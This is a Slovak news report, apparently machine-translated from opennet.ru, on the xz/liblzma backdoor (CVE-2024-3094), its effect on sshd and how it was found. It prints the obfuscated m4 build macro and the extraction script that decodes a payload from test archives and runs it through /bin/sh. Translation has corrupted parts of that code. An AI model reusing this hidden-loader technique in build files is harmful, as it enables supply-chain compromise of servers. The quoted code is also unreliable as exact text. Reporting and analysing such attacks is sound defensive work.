V knižnici xz/liblzma bol objavený backdoor, ktorý umožňuje vstup cez sshd

V balíku XZ Utils, ktorý obsahuje knižnicu liblzma a nástroje na prácu s komprimovanými údajmi vo formáte „.xz“, boli identifikované zadné vrátka (CVE-2024-3094), ktoré umožňujú zachytávanie a modifikáciu údajov spracovávaných aplikáciami s knižnicou liblzma. Hlavným cieľom backdoor je server OpenSSH, ktorý je v niektorých distribúciách spojený s knižnicou libsystemd, ktorá zase používa liblzma. Prepojenie sshd so zraniteľnou knižnicou umožňuje útočníkom získať prístup k serveru SSH bez autentifikácie.

Zadné vrátka boli prítomné v oficiálnych vydaniach 5.6.0 a 5.6.1 zverejnených 24. februára a 9. marca, ktorým sa podarilo dostať do niektorých distribúcií a repozitárov, napríklad Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide a 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Všetkým používateľom vydaní xz 5.6.0 a 5.6.1 sa odporúča urýchlene vrátiť späť na verziu 5.4.6.

Medzi faktory zmierňujúce problém možno poznamenať, že verzia liblzma so zadnými vrátkami sa nedokázala stať súčasťou stabilných vydaní veľkých distribúcií, ale ovplyvnila openSUSE Tumbleweed a Fedora 40-beta. Arch Linux a Gentoo používali zraniteľnú verziu zx, ale nie sú náchylné na útok, pretože neaplikujú opravu systemd-notify na openssh, čo spôsobuje prepojenie sshd s liblzma. Zadné vrátka ovplyvňujú iba systémy x86_64 založené na jadre Linuxu a knižnici Glibc C.

Aktivačný kód backdoor bol skrytý v makrách m4 zo súboru build-to-host.m4, ktorý používa sada nástrojov automake pri zostavovaní. Počas montáže, počas vykonávania zložitých zahmlených operácií založených na archívoch (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), slúžiacich na testovanie správnosti činnosti, sa vygeneroval objektový súbor so škodlivým kódom, ktorý bol súčasťou knižnicu liblzma a zmenil logiku prevádzky niektorých jej funkcií. Makrá m4, ktoré aktivujú zadné vrátka, boli zahrnuté v archívoch vydania, ale nenachádzali sa v úložisku Git. Zároveň sa v úložisku nachádzali škodlivé archívy testov, t.j. osoba, ktorá implementovala zadné vrátka, mala prístup k úložisku aj procesu generovania vydania.

Pri používaní liblzma v aplikáciách sa môžu škodlivé zmeny použiť na zachytenie alebo úpravu údajov alebo ovplyvnenie činnosti sshd. Škodlivý kód sfalšoval najmä funkciu RSA_public_decrypt, aby obišiel proces autentifikácie sshd. Zadné vrátka obsahovali ochranu pred detekciou a neprejavili sa pri nastavení premenných prostredia LANG a TERM (t. j. pri spustení procesu v termináli) a nenastavili premenné prostredia LD_DEBUG a LD_PROFILE a tiež sa aktivovali iba pri spustení /usr/sbin/sshd spustiteľný súbor . Zadné vrátka mali tiež prostriedky na zisťovanie vykonávania v prostrediach ladenia.

Konkrétne súbor m4/build-to-host.m4 používal gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

V prvej konštrukcii operácia grep našla súbor tests/files/bad-3-corrupt_lzma2.xz, ktorý po rozbalení vygeneroval skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F nespracovaný —lzma1 -dc|/bin/sh ####Svet####

Ako sa útočníkom podarilo získať prístup k infraštruktúre projektu xz, zatiaľ nie je úplne objasnené. Zatiaľ tiež nie je jasné, koľko používateľov a projektov bolo v dôsledku backdoor ohrozených. Údajný autor zadných dvierok (JiaT75 - Jia Tan), ktorý umiestnil archívy so škodlivým kódom do repozitára, korešpondoval s vývojármi Fedory a posielal do Debianu požiadavky na stiahnutie súvisiace s prechodom distribúcií na vetvu xz 5.6.0 a neurobil to vzbudzujú podozrenie, keďže sa podieľal na xz vyvíjal posledné dva roky a je druhým vývojárom v počte vykonaných zmien. Okrem projektu xz sa údajný autor backdoor podieľal aj na vývoji balíčkov xz-java a xz-embedded. Okrem toho bol Jia Tan pred niekoľkými dňami zahrnutý do počtu správcov projektu XZ Embedded používaného v jadre Linuxu.

Škodlivá zmena bola objavená po analýze nadmernej spotreby CPU a chýb generovaných valgrindom pri pripájaní cez ssh k systémom založeným na Debian sid. Je pozoruhodné, že vydanie xz 5.6.1 obsahovalo zmeny pripravené údajným autorom zadných vrátok v reakcii na sťažnosti na spomalenie a pády sshd, ktoré vznikli po aktualizácii na verziu zx 5.6.0 so zadnými vrátkami. Okrem toho minulý rok Jia Tan vykonal zmeny, ktoré neboli kompatibilné s kontrolným režimom „-fsanitize=address“, čo spôsobilo, že bol počas testovania fuzz zakázaný.

Zdroj: opennet.ru

Pridať komentár